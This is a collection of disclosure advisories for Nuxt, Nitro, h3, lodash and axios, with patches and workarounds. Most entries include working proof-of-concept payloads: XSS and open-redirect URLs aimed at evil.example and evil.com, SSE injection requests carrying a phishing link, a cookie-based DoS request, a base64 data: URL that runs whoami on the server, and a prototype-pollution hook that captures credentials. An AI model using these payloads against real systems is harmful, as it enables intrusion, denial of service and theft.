Nuxt's route middleware is not enforced when rendering `.server.vue` pages via `/__nuxt_island/page_*`
Summary
When experimental.componentIslands is enabled (default in Nuxt 4), any .server.vue file under pages/ is automatically registered as a server island under the key page_<routeName> and exposed via the /__nuxt_island/:name endpoint. Until this fix, requests through that endpoint rendered the page component directly via the SSR renderer without instantiating Vue Router, which meant route middleware declared on the page (including definePageMeta({ middleware })) did not run.
For Nuxt applications that gate a .server.vue page behind route middleware as their sole auth check, an unauthenticated attacker could bypass that check by requesting /__nuxt_island/page_<routeName>_<anyhash> directly and receiving the server-rendered HTML.
Affected configurations
All three conditions must hold for an application to be vulnerable:
1. experimental.componentIslands is enabled (the default in Nuxt 4; opt-in in Nuxt 3).
2. The application defines one or more .server.vue files under pages/, registering them as routed pages.
3. Authentication / authorization for at least one such page is enforced solely via route middleware (middleware/.ts referenced from definePageMeta), without a server-side check inside the page or its data layer.
Applications that enforce auth inside the island's own data layer (server-only API routes, useRequestEvent + manual session checks, etc.) were not affected. The general "route middleware does not run for non-page island components" behaviour is documented and unchanged; this advisory concerns the .server.vue page case specifically, where running middleware is the user's clear expectation.
Details
Build (packages/nuxt/src/components/templates.ts): .server.vue pages are registered as island components with page_ prefix, making them addressable through /__nuxt_island/page_<routeName>_<hashId>.
Runtime (packages/nitro-server/src/runtime/handlers/island.ts): the handler resolves the requested island component and renders it via renderer.renderToString(ssrContext). The Vue Router plugin previously short-circuited middleware execution whenever ssrContext.islandContext was set.
The two paths interact so that route middleware declared on the source page never runs.
Proof of concept
Given a page app/pages/secret.server.vue:
``vue
<script setup lang="ts">
definePageMeta({ middleware: 'auth' })
</script>
<template>
<h1>SECRET DATA</h1>
</template>
`
with middleware/auth.ts blocking unauthenticated access:
`bash
Direct page request: blocked by middleware
curl -i http://localhost:3000/secret
-> 403 / redirect, depending on the middleware
Island request: middleware did not run before this fix
curl -i 'http://localhost:3000/__nuxt_island/page_secret_anyhash'
-> 200 OK, body includes <h1>SECRET DATA</h1>
`
Patches
Patched in nuxt@4.4.6 and nuxt@3.21.6 by #35092. The Vue Router plugin now runs middleware and redirect handling for page_ islands (i.e. islands that originate from .server.vue files in pages/). The island handler propagates middleware-issued responses (~renderResponse), and a new beforeResolve guard returns HTTP 400 when the requested page_<name> does not match the route component the URL resolves to.
Non-page island components are unaffected - they continue to render without route middleware, by design.
Workarounds
If you cannot upgrade immediately:
Enforce authentication inside the .server.vue page itself, not via route middleware. Read the session from useRequestEvent() and throw createError({ statusCode: 401 }) (or redirect) before returning data. This is the recommended pattern for islands regardless of this advisory.
Disable experimental.componentIslands if your app does not use the feature.
If your app must keep route-middleware-only auth, gate the /__nuxt_island/page_*` URL prefix at your reverse proxy or in a server middleware.
Nuxt: Reflected XSS in `navigateTo()` external redirect
Summary
navigateTo() with external: true generates a server-side HTML redirect body containing a <meta http-equiv="refresh"> tag. The destination URL is only sanitized by replacing " with %22, leaving <, >, &, and ' unencoded. An attacker who can influence the URL passed to navigateTo(url, { external: true }) can break out of the content="…" attribute and inject arbitrary HTML/JavaScript that executes under the application's origin.
This is a different root cause from CVE-2024-34343 (GHSA-vf6r-87q4-2vjf), which addressed javascript: protocol bypass. The issue here is triggered by any valid URL containing >.
Impact
Applications that pass user-controlled input to navigateTo(url, { external: true }) — typically via a ?next= / ?redirect= query parameter used for post-login or "return to" flows — are vulnerable to reflected cross-site scripting. The injected script runs in the context of the application's origin during the server-rendered redirect response, before the meta-refresh fires.
Details
In packages/nuxt/src/app/composables/router.ts, the SSR redirect path builds an HTML response body with only " percent-encoded in the destination URL:
``ts
const encodedLoc = location.replace(/"/g, '%22')
nuxtApp.ssrContext!['~renderResponse'] = {
status: sanitizeStatusCode(options?.redirectCode || 302, 302),
body: <!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=${encodedLoc}"></head></html>,
headers: { location: encodeURL(location, isExternalHost) },
}
`
The Location header is normalised through encodeURL() (which uses the URL constructor and correctly percent-encodes attribute-significant characters). The HTML body uses a narrower sanitiser. That mismatch is the root cause.
Proof of concept
Global middleware that forwards a query parameter to navigateTo:
`ts
// middleware/redirect.global.ts
export default defineNuxtRouteMiddleware((to) => {
const next = to.query.next as string | undefined
if (next) {
return navigateTo(next, { external: true })
}
})
`
Request:
`
GET /?next=https://evil.example/x><img src=x onerror=alert(document.domain)>
`
Response body:
`html
<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=https://evil.example/x><img src=x onerror=alert(document.domain)>"></head></html>
`
The > after evil.example/x terminates the content="…" attribute, and the <img onerror> tag executes JavaScript in the application's origin before any redirect
occurs.
Patches
Fixed in nuxt@4.4.6 and nuxt@3.21.6 by #35052. The fix percent-encodes the full set of HTML-attribute-significant characters (&, ", ', <, >) before interpolating the URL into the meta-refresh body
Workarounds
If you can't upgrade immediately, validate user-controlled URLs before passing them to navigateTo(url, { external: true }). At minimum, normalise through new URL(input).toString() and reject inputs containing < or >` (a normalised URL with these characters is malformed and safe to refuse).
Nitro has an Open Redirect via Protocol-Relative URL Bypass in Wildcard Route Rules
A redirect route rule like:
``ts
routeRules: {
"/legacy/": { redirect: "/" }
}
`
is intended to rewrite paths within the same host. Before the patch, an attacker could turn the rewrite into a cross-host redirect by sliding an extra slash in after the rule prefix. Example exploit:
`
GET /legacy//evil.com
`
Nitro stripped /legacy from the matched pathname and joined the remainder against the rule's target. The remainder was //evil.com, which the join preserved verbatim, so Nitro responded with Location: //evil.com. Browsers resolve //evil.com as a protocol-relative URL against the current scheme, sending the user to https://evil.com.
Are you affected?
Users may be affected if all of the following are true:
1. Their project uses Nitro's routeRules with a redirect entry.
2. The target uses a / wildcard suffix to forward sub-paths (e.g. redirect: "/", redirect: "/new/", proxy: { to: "http://upstream/" }).
3. The redirect rule is _not_ handled natively at the CDN layer. The vercel, netlify, cloudflare-pages, and edgeone presets translate routeRules.redirect into platform config (vercel.json, _redirects, EdgeOne v3 config) and serve the redirect at the edge — those deployments bypass the Nitro runtime entirely and are not affected. Every other preset executes the redirect through the Nitro runtime and can be vulnerable.
Impact
Open redirect from any host serving Nitro with a wildcard redirect rule. The redirect target is fully attacker-controlled, the URL looks legitimate (it starts with the victim's domain), and the browser silently follows it.
Patched versions
Upgrade to one of:
2.13.4 or later (or upgrade lockfile with latest ufo 1.6.4+)
3.0.260429-beta or later (https://github.com/nitrojs/nitro/pull/4236)
The fix has two parts:
1. ufo is bumped to ^1.6.4 (unjs/ufo@5cd9e67), which collapses any run of leading slashes to a single / inside withoutBase. This covers the typical "/scope/" rule.
2. The Nitro runtime additionally collapses leading // before joining when the rule path itself is / (in rare case which case withoutBase is never called and the raw pathname flows straight into joinURL("", …)`).
Nitro has a proxy scope bypass via percent-encoded path traversal in `routeRules`
A proxy route rule like:
``ts
routeRules: {
"/api/orders/": { proxy: { to: "http://upstream/orders/" } }
}
`
is intended to limit the proxy to URLs under /api/orders/. Before the patch, an attacker could bypass that scope by sending percent-encoded path traversal (..%2f) in the URL, causing Nitro to forward a request that the upstream resolved outside the configured scope. Example exploit:
`
GET /api/orders/..%2fadmin%2fconfig.json
`
Nitro sees ..%2f as opaque characters at match time, the /api/orders/ rule matched, and the raw path was forwarded to the upstream as /orders/..%2fadmin/config.json. An upstream that decodes %2F to / then resolved .. and can serve /admin/config.json outside the intended scope.
Are you affected?
Users may be affected if ALL of the following are true:
1. Their project uses Nitro's routeRules with a proxy entry ({ proxy: { to: "..." } }).
2. The proxy to value uses a / wildcard suffix to forward sub-paths.
3. The upstream behind the proxy decodes %2F as / before routing or filesystem lookup.
4. Proxy route rules are _not_ handled natively at CDN (nitro v3 and vercel)
Whether the bypass actually leaks data depends on the upstream. Modern JS frameworks keep %2F opaque per RFC 3986 and are safe by construction.
Safe examples: H3 v2, Express v5, Hono v4 — modern JS frameworks keep %2F opaque per RFC 3986.
Vulnerable examples: naive imlementations that decodes the URL, static file servers, CGI dispatchers, Python os.path-based routing, anything sitting behind another layer that decodes %2F (common in microservice meshes).
Impact
Any HTTP path reachable from the Nitro server to the upstream could be requested, regardless of the configured / scope. In typical deployments (API gateway, BFF, microservice proxy) this could expose internal admin endpoints, secrets endpoints, or other services the developer believed the scope rule fenced off.
Patched versions
Upgrade to one of:
2.13.4 or later (https://github.com/nitrojs/nitro/pull/4223)
3.0.260429-beta or later (https://github.com/nitrojs/nitro/pull/4222)
The fix canonicalizes the incoming pathname before building the upstream URL and rejects requests with 400 Bad Request if the resolved path would escape the rule's base. The bytes forwarded upstream are unchanged when the request is allowed.
> Note: the fix assumes the upstream does not double-decode percent-encoding. If your upstream decodes twice (%252F → %2F → /`), it remains your responsibility to harden it. Single-decode is standard**.
Credits
Reported by @mHe4am (@he4am on HackerOne) via the Vercel Open Source program.
H3: Unbounded Chunked Cookie Count in Session Cleanup Loop may Lead to Denial of Service
Summary
The setChunkedCookie() and deleteChunkedCookie() functions in h3 trust the chunk count parsed from a user-controlled cookie value (__chunked__N) without any upper bound validation. An unauthenticated attacker can send a single request with a crafted cookie header (e.g., Cookie: h3=__chunked__999999) to any endpoint using sessions, causing the server to enter an O(n²) loop that hangs the process.
Details
The chunked cookie system stores large cookie values by splitting them into numbered chunks. The main cookie stores a sentinel value __chunked__N indicating how many chunks exist. When setting a new chunked cookie, the code cleans up any previous chunks that are no longer needed.
The vulnerability is in getChunkedCookieCount() at src/utils/cookie.ts:244-249:
``typescript
function getChunkedCookieCount(cookie: string | undefined): number {
if (!cookie?.startsWith(CHUNKED_COOKIE)) {
return Number.NaN;
}
return Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));
// No upper bound check — attacker controls this value
}
`
This value is consumed without validation in the cleanup loop of setChunkedCookie() at src/utils/cookie.ts:182-190:
`typescript
const previousCookie = getCookie(event, name); // reads from request headers
if (previousCookie?.startsWith(CHUNKED_COOKIE)) {
const previousChunkCount = getChunkedCookieCount(previousCookie);
if (previousChunkCount > chunkCount) {
for (let i = chunkCount; i <= previousChunkCount; i++) {
deleteCookie(event, chunkCookieName(name, i), options);
// Each deleteCookie → setCookie → scans ALL existing set-cookie headers
}
}
}
`
The same issue exists in deleteChunkedCookie() at src/utils/cookie.ts:227-232:
`typescript
const chunksCount = getChunkedCookieCount(mainCookie);
if (chunksCount >= 0) {
for (let i = 0; i < chunksCount; i++) {
deleteCookie(event, chunkCookieName(name, i + 1), serializeOptions);
}
}
`
The exploit chain through sessions:
1. Attacker sends Cookie: h3=__chunked__999999 to any session-using endpoint
2. getSession() (src/utils/session.ts:83) calls getChunkedCookie(event, "h3") (line 124)
3. getChunkedCookie() returns undefined — the early return at line 153 fires because no actual chunk cookies (e.g., h3.1) exist in the request
4. Since sealedSession is undefined, session.id remains empty (line 140), triggering updateSession() (line 143)
5. updateSession() calls setChunkedCookie() with the newly sealed session value (line 179)
6. Inside setChunkedCookie(), getCookie(event, name) re-reads the original request cookie __chunked__999999 at line 182
7. previousChunkCount = 999999, chunkCount = 1 (new sealed session is small)
8. The cleanup loop runs 999,998 iterations, each calling deleteCookie() → setCookie()
9. Each setCookie() call reads ALL existing set-cookie response headers via getSetCookie() (line 91) and iterates through them for deduplication (lines 100-106)
10. This creates O(n²) complexity — approximately 10¹² operations for n=999999
Key observation: While getChunkedCookie() has an early-return optimization (line 153) that prevents it from looping on missing chunks, the cleanup loops in setChunkedCookie() and deleteChunkedCookie() have no such protection and run unconditionally for the full claimed chunk count.
PoC
Prerequisites: An h3 application with any endpoint using getSession() or useSession().
Example minimal server:
`typescript
import { H3 } from "h3";
import { getSession } from "h3";
const app = new H3();
app.get("/dashboard", async (event) => {
const session = await getSession(event, {
password: "my-secret-password-at-least-32-chars-long!",
});
return { user: session.data.user || "anonymous" };
});
export default app;
`
Attack (single request, no authentication):
`bash
This single request will hang the server process
curl -H 'Cookie: h3=__chunked__999999' http://localhost:3000/dashboard
`
For a less extreme but still impactful test:
`bash
~100K iterations — will take several seconds and block all other requests
curl -H 'Cookie: h3=__chunked__100000' http://localhost:3000/dashboard
`
The deleteChunkedCookie() path is exploitable via clearSession():
`typescript
app.post("/logout", async (event) => {
await clearSession(event, {
password: "my-secret-password-at-least-32-chars-long!",
});
return { ok: true };
});
`
`bash
curl -X POST -H 'Cookie: h3=__chunked__999999' http://localhost:3000/logout
`
Impact
Complete Denial of Service: A single unauthenticated request with a 27-byte cookie header can hang the server process indefinitely. Node.js is single-threaded, so this blocks all request handling.
No authentication required: The attack only requires the ability to send HTTP requests with a crafted cookie header.
Minimal attacker effort: The payload is trivially small (Cookie: h3=__chunked__999999), making it easy to automate or repeat.
Wide attack surface: Any endpoint in the application that uses getSession(), useSession(), or clearSession() is vulnerable. Session usage is extremely common in web applications.
Amplification: The ratio of attacker input (27 bytes) to server work (billions of operations) is extreme.
Recommended Fix
Add a maximum chunk count constant and validate in getChunkedCookieCount():
`typescript
const MAX_CHUNKED_COOKIE_COUNT = 100;
function getChunkedCookieCount(cookie: string | undefined): number {
if (!cookie?.startsWith(CHUNKED_COOKIE)) {
return Number.NaN;
}
const count = Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));
if (Number.isNaN(count) || count < 0 || count > MAX_CHUNKED_COOKIE_COUNT) {
return Number.NaN;
}
return count;
}
`
This clamps the parsed count at a safe maximum. Since each chunk can hold ~4000 bytes and 100 chunks would allow ~400KB of cookie data (far beyond any practical limit), MAX_CHUNKED_COOKIE_COUNT = 100 is generous while eliminating the DoS vector.
Additionally, the callers should be updated to handle NaN safely. The cleanup loop in setChunkedCookie() already handles this correctly since NaN > chunkCount is false, so the loop won't execute. The deleteChunkedCookie() loop also handles it since NaN >= 0` is false.
h3 has a middleware bypass with one gadget
H3 NodeRequestUrl bugs
Vulnerable pieces of code :
``js
import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3";
let app = new H3()
const internalOnly = defineHandler((event, next) => {
const token = event.headers.get("x-internal-key");
if (token !== "SUPERRANDOMCANNOTBELEAKED") {
return new Response("Forbidden", { status: 403 });
}
return next();
});
const logger = defineHandler((event, next) => {
console.log("Logging : " + event.url.hostname)
return next()
})
app.use(logger);
app.use("/internal/run", internalOnly);
app.get("/internal/run", () => {
return "Internal OK";
});
serve(app, { port: 3001 });
`
The middleware is super safe now with just a logger and a middleware to block internal access.
But there's one problems here at the logger .
When it log out the `event.url` or `event.url.hostname` or `event.url._url`
It will lead to trigger one specials method
`js
// _url.mjs FastURL
get _url() {
if (this.#url) return this.#url;
this.#url = new NativeURL(this.href);
this.#href = void 0;
this.#protocol = void 0;
this.#host = void 0;
this.#pathname = void 0;
this.#search = void 0;
this.#searchParams = void 0;
this.#pos = void 0;
return this.#url;
}
`
The NodeRequestUrl is extends from FastURL so when we just access `.url` or trying to dump all data of this class . This function will be triggered !!
And as debugging , the this.#url is null and will reach to this code :
`js
this.#url = new NativeURL(this.href);
`
Where is the this.href comes from ?
`js
get href() {
if (this.#url) return this.#url.href;
if (!this.#href) this.#href = ${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""};
return this.#href;
}
`
Because the this.#url is still null so this.#href is built up by :
`js
if (!this.#href) this.#href = ${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""};
`
Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .
Middleware bypass
What can be done with overwriting the event.url?
Audit the code we can easily realize that the routeHanlder is found before running any middlewares
`js
handler(event) {
const route = this"~findRoute";
if (route) {
event.context.params = route.params;
event.context.matchedRoute = route.data;
}
const routeHandler = route?.data.handler || NoHandler;
const middleware = this"~getMiddleware";
return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);
}
`
So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS
We have this poc :
`py
import requests
url = "http://localhost:3000"
headers = {
"Host":f"localhost:3000/abchehe?"
}
res = requests.get(f"{url}/internal/run",headers=headers)
print(res.text)
`
This is really dangerous if some one just try to dump all the event.url or something that trigger _url()` from class FastURL and need a fix immediately.
h3 has an observable timing discrepancy in basic auth utils
Summary
A Timing Side-Channel vulnerability exists in the requireBasicAuth function due to the use of unsafe string comparison (!==). This allows an attacker to deduce the valid password character-by-character by measuring the server's response time, effectively bypassing password complexity protections.
Details
The vulnerability is located in the requireBasicAuth function. The code performs a standard string comparison between the user-provided password and the expected password:
~~~typescript
if (opts.password && password !== opts.password) {
throw autheFailed(event, opts?.realm);
}
~~~
In V8 (and most runtime environments), the !== operator is optimized to "fail fast." It stops execution and returns false as soon as it encounters the first mismatched byte.
If the first character is wrong, it returns immediately.
If the first character is correct but the second is wrong, it takes slightly longer.
By statistically analyzing these minute timing differences over many requests, an attacker can determine the correct password one character at a time.
PoC
This vulnerability is exploitable in real-world scenarios without direct access to the server machine.
To reproduce this, an attacker can send two packets (or bursts of packets) at the exact same time:
1. Packet A: Contains a password that is known to be incorrect starting at the first character (e.g., AAAA...).
2. Packet B: Contains a password where the first character is a guess (e.g., B...).
By measuring the time-to-first-byte (TTFB) or total response time of these concurrent requests, the attacker can filter out network jitter. If Packet B takes consistently longer to return than Packet A, the first character is confirmed as correct. This process is repeated for the second character, and so on. Tests confirm this timing difference is statistically consistent enough to recover credentials remotely.
Impact
This vulnerability allows remote attackers to recover passwords. While network jitter makes this difficult over the internet, it is highly effective in local networks or cloud environments where the attacker is co-located. It reduces the complexity of cracking a password from exponential (guessing the whole string) to linear (guessing one char at a time).
h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields
Summary
createEventStream in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients.
Details
The vulnerability exists in src/utils/internal/event-stream.ts, lines 170-187:
``typescript
export function formatEventStreamComment(comment: string): string {
return : ${comment}\n\n;
}
export function formatEventStreamMessage(message: EventStreamMessage): string {
let result = "";
if (message.id) {
result += id: ${message.id}\n;
}
if (message.event) {
result += event: ${message.event}\n;
}
if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
result += retry: ${message.retry}\n;
}
result += data: ${message.data}\n\n;
return result;
}
`
The SSE protocol (defined in the WHATWG HTML spec) uses newline characters (\n) as field delimiters and double newlines (\n\n) as event separators.
None of the fields (id, event, data, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains \n, the SSE framing is broken, allowing an attacker to:
1. Inject arbitrary SSE fields — break out of one field and add event:, data:, id:, or retry: directives
2. Inject entirely new SSE events — using \n\n to terminate the current event and start a new one
3. Manipulate reconnection behavior — inject retry: 1 to force aggressive reconnection (DoS)
4. Override Last-Event-ID — inject id: to manipulate which events are replayed on reconnection
Injection via the event field
`
Intended wire format: Actual wire format (with \n injection):
event: message event: message
data: attacker: hey event: admin ← INJECTED
data: ALL_USERS_HACKED ← INJECTED
data: attacker: hey
`
The browser's EventSource API parses these as two separate events: one message event and one admin event.
Injection via the data field
`
Intended: Actual (with \n\n injection):
event: message event: message
data: bob: hi data: bob: hi
← event boundary
event: system ← INJECTED event
data: Reset: evil.com ← INJECTED data
`
Before exploit:
<img width="700" height="61" alt="image" src="https://github.com/user-attachments/assets/d9d28296-0d42-40d7-b79c-d337406cbfc9" />
<img width="713" height="228" alt="image" src="https://github.com/user-attachments/assets/5a52debc-2775-4367-b427-df4100fe2b8e" />
PoC
Vulnerable server (sse-server.ts)
A realistic chat/notification server that broadcasts user input via SSE:
`typescript
import { H3, createEventStream, getQuery } from "h3";
import { serve } from "h3/node";
const app = new H3();
const clients: any[] = [];
app.get("/events", (event) => {
const stream = createEventStream(event);
clients.push(stream);
stream.onClosed(() => {
clients.splice(clients.indexOf(stream), 1);
stream.close();
});
return stream.send();
});
app.get("/send", async (event) => {
const query = getQuery(event);
const user = query.user as string;
const msg = query.msg as string;
const type = (query.type as string) || "message";
for (const client of clients) {
await client.push({ event: type, data: ${user}: ${msg} });
}
return { status: "sent" };
});
serve({ fetch: app.fetch });
`
Exploit
`bash
1. Inject fake "admin" event via event field
curl -s "http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down"
2. Inject separate phishing event via data field
curl -s "http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message"
3. Inject retry directive for reconnection DoS
curl -s "http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message"
`
Raw wire format proving injection
`
event: message
event: admin
data: ALL_USERS_COMPROMISED
data: attacker: legit
`
The browser's EventSource fires this as an admin event with data ALL_USERS_COMPROMISED — entirely controlled by the attacker.
Proof:
<img width="856" height="275" alt="image" src="https://github.com/user-attachments/assets/111d3fde-e461-4e44-8112-9f19fff41fec" />
<img width="950" height="156" alt="image" src="https://github.com/user-attachments/assets/ff750f9c-e5d9-4aa4-b48a-20b49747d2ab" />
Impact
An attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.
Attack scenarios:
Cross-user content injection — inject fake messages in chat applications
Phishing — inject fake system notifications with malicious links
Event spoofing — trigger client-side handlers for privileged event types (e.g., admin, system)
Reconnection DoS — inject retry: 1` to force all clients to reconnect every 1ms
Last-Event-ID manipulation — override the event ID to cause event replay or skipping on reconnection
This is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.
h3 v1 has Request Smuggling (TE.TE) issue
I was digging into h3 v1 (specifically v1.15.4) and found a critical HTTP Request Smuggling vulnerability.
Basically, readRawBody is doing a strict case-sensitive check for the Transfer-Encoding header. It explicitly looks for "chunked", but per the RFC, this header should be case-insensitive.
The Bug: If I send a request with Transfer-Encoding: ChuNked (mixed case), h3 misses it. Since it doesn't see "chunked" and there's no Content-Length, it assumes the body is empty and processes the request immediately.
This leaves the actual body sitting on the socket, which triggers a classic TE.TE Desync (Request Smuggling) if the app is running behind a Layer 4 proxy or anything that doesn't normalize headers (like AWS NLB or Node proxies).
Vulnerable Code (src/utils/body.ts):
``js
if (
!Number.parseInt(event.node.req.headers["content-length"] || "") &&
!String(event.node.req.headers["transfer-encoding"] ?? "")
.split(",")
.map((e) => e.trim())
.filter(Boolean)
.includes("chunked") // <--- This is the issue. "ChuNkEd" returns false here.
) {
return Promise.resolve(undefined);
}
`
I verified this locally:
Sent a Transfer-Encoding: ChunKed request without a closing 0 chunk.
Express hangs (correctly waiting for data).
h3 responds immediately (vulnerable, thinks body is length 0).
Impact: Since H3/Nuxt/Nitro is often used in containerized setups behind TCP load balancers, an attacker can use this to smuggle requests past WAFs or desynchronize the socket to poison other users' connections.
Fix: Just need to normalize the header value before checking: .map((e) => e.trim().toLowerCase())`
Nuxt vulnerable to remote code execution via the browser when running the test locally
Summary
Due to the insufficient validation of the path parameter in the NuxtTestComponentWrapper, an attacker can execute arbitrary JavaScript on the server side, which allows them to execute arbitrary commands.
Details
While running the test, a special component named NuxtTestComponentWrapper is available.
https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/nuxt-root.vue#L42-L43
This component loads the specified path as a component and renders it.
https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L9-L27
There is a validation for the path parameter to check whether the path traversal is performed, but this check is not sufficient.
https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L15-L19
Since import(...) uses query.path instead of the normalized path, a non-normalized URL can reach the import(...) function.
For example, passing something like ./components/test normalizes path to /root/directory/components/test, but import(...) still receives ./components/test.
By using this behavior, it's possible to load arbitrary JavaScript by using the path like the following:
``
data:text/javascript;base64,Y29uc29sZS5sb2coMSk
`
Since resolve(...) resolves the filesystem path, not the URI, the above URI is treated as a relative path, but import(...) sees it as an absolute URI, and loads it as a JavaScript.
PoC
1. Create a nuxt project and run it in the test mode:
`
npx nuxi@latest init test
cd test
TEST=true npm run dev
`
2. Open the following URL:
`
http://localhost:3000/__nuxt_component_test__/?path=data%3Atext%2Fjavascript%3Bbase64%2CKGF3YWl0IGltcG9ydCgnZnMnKSkud3JpdGVGaWxlU3luYygnL3RtcC90ZXN0JywgKGF3YWl0IGltcG9ydCgnY2hpbGRfcHJvY2VzcycpKS5zcGF3blN5bmMoIndob2FtaSIpLnN0ZG91dCwgJ3V0Zi04Jyk
`
3. Confirm that the output of whoami is written to /tmp/test`
Demonstration video: https://www.youtube.com/watch?v=FI6mN8WbcE4
Impact
Users who open a malicious web page in the browser while running the test locally are affected by this vulnerability, which results in the remote code execution from the malicious web page.
Since web pages can send requests to arbitrary addresses, a malicious web page can repeatedly try to exploit this vulnerability, which then triggers the exploit when the test server starts.
nuxt Code Injection vulnerability
he Nuxt dev server between versions 3.4.0 and 3.4.3 is vulnerable to code injection when it is exposed publicly.
lodash vulnerable to Code Injection via `_.template` imports key names
Impact
The fix for CVE-2021-23337 added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink.
When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.
Additionally, _.template use
axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge
Summary
Axios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator.
Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.
Impact
For ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.
If the attacker can pollute Object.prototype.transformResponse with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and auth, and can change the response data returned to application code.
This function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.
Affected Functionality
The affected functionality is Axios request config processing and response transformation.
Affected use requires all of the following:
An affected Axios version.
A polluted Object.prototype in the same process or browser context.
Pollution before Axios merges or validates the request config.
A polluted key relevant to Axios config, especially transformResponse.
This is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.
Technical Details
In affected versions, mergeConfig() reads config values through normal property access. For config keys present in Axios defaults, including transformResponse, a missing own property on the request config can fall through to Object.prototype.
In the fully affected path, this means Object.prototype.transformResponse can replace Axios's default response transform. The selected transform is later executed by transformData() with the request config as this.
Some later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in validator.assertOptions(). In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.
Fixed versions use own-property checks and null-prototype config objects, so inherited Object.prototype values are not treated as Axios config or validator schema entries.
Proof of Concept of Attack
``js
import http from 'http';
import axios from 'axios';
const seen = [];
const server = http.createServer((req, res) => {
res.setHeader('Content-Type', 'application/json');
res.end(JSON.stringify({ secret: 'response-secret' }));
});
await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
if (headers && typeof status === 'number') {
seen.push({
url: this.url,
username: this.auth && this.auth.username,
password: this.auth && this.auth.password,
responseData: data
});
return { hijacked: true };
}
return true;
};
try {
const { port } = server.address();
const response = await axios.get(http://127.0.0.1:${port}/users, {
auth: { username: 'svc-account', password: 'prod-secret-key-123' }
});
console.log(response.data); // { hijacked: true }
console.log(seen[0]); // request config plus original response body
} finally {
delete Object.prototype.transformResponse;
server.close();
}
`
Expected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.
Expected result on fixed versions: the polluted transform is ignored, and the original response is returned.
<details>
<summary>Original source report</summary>
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into credential theft and response hijacking across all Axios requests.
The mergeConfig() function reads config properties via standard property access (config2[prop]), which traverses the JavaScript prototype chain. When Object.prototype.transformResponse is polluted with a function, it overrides the default JSON response parser for every request. The injected function executes with this = config, exposing auth.username, auth.password, request URL, and all headers.
Severity: High (CVSS 8.2)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/core/mergeConfig.js (Config Merge) + lib/core/transformData.js (Transform Execution)
CWE
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CVSS 3.1
Score: 9.4 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Credential theft occurs within the same application process |
| Confidentiality | High | this.auth.password, this.url, original response data all exfiltrated |
| Integrity | Low | Response data is replaced with true — attacker cannot return arbitrary data due to assertOptions constraint (see below) |
| Availability | High | Polluting with an array value causes TypeError: validator is not a function crash (DoS) on every request |
Relationship to GHSA-fvcv-3m26-pcqx
This vulnerability is in the same class as GHSA-fvcv-3m26-pcqx ("Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit mergeConfig's prototype chain traversal.
